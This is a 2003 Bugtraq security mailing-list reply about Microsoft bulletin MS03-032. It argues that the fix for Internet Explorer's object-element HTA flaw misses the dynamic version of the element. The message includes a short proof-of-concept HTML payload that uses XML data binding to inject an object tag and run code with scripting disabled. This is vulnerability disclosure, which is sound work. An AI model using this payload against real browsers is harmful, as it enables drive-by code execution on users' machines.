bugtraq - RE: BAD NEWS: Microsoft Security Bulletin MS03-032

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Message-ID: <LPBBLDGNEFOGMGAEHJPBKENNDGAA.security@greymagic.com>
Date: Mon, 8 Sep 2003 16:52:12 +0200
From: "GreyMagic Software" <security@...ymagic.com>
To: "NTBugtraq" <NTBUGTRAQ@...TSERV.NTBUGTRAQ.COM>,
	"Bugtraq" <bugtraq@...urityfocus.com>,
	<full-disclosure@...ts.netsys.com>, <vulnwatch@...nwatch.org>
Cc: <http-equiv@...ite.com>,
	"Microsoft Security Response Center" <secure@...rosoft.com>
Subject: RE: BAD NEWS: Microsoft Security Bulletin MS03-032


>The patch for Drew's object data=funky.hta doesn't work:

This is the exact same issue as http://greymagic.com/adv/gm001-ie/, which
explains the problem in detail. Microsoft again patches the object element
in HTML, but it doesn't patch the dynamic version of that same element.

>1. Disable Active Scripting

This actually means that no scripting is needed at all in order to exploit
this amazingly critical vulnerability:

<span datasrc="#oExec" datafld="exploit" dataformatas="html"></span>
<xml id="oExec">
    <security>
        <exploit>
            <![CDATA[
            <object data=x.asp></object>
            ]]>
        </exploit>
    </security>
</xml>

Ouch.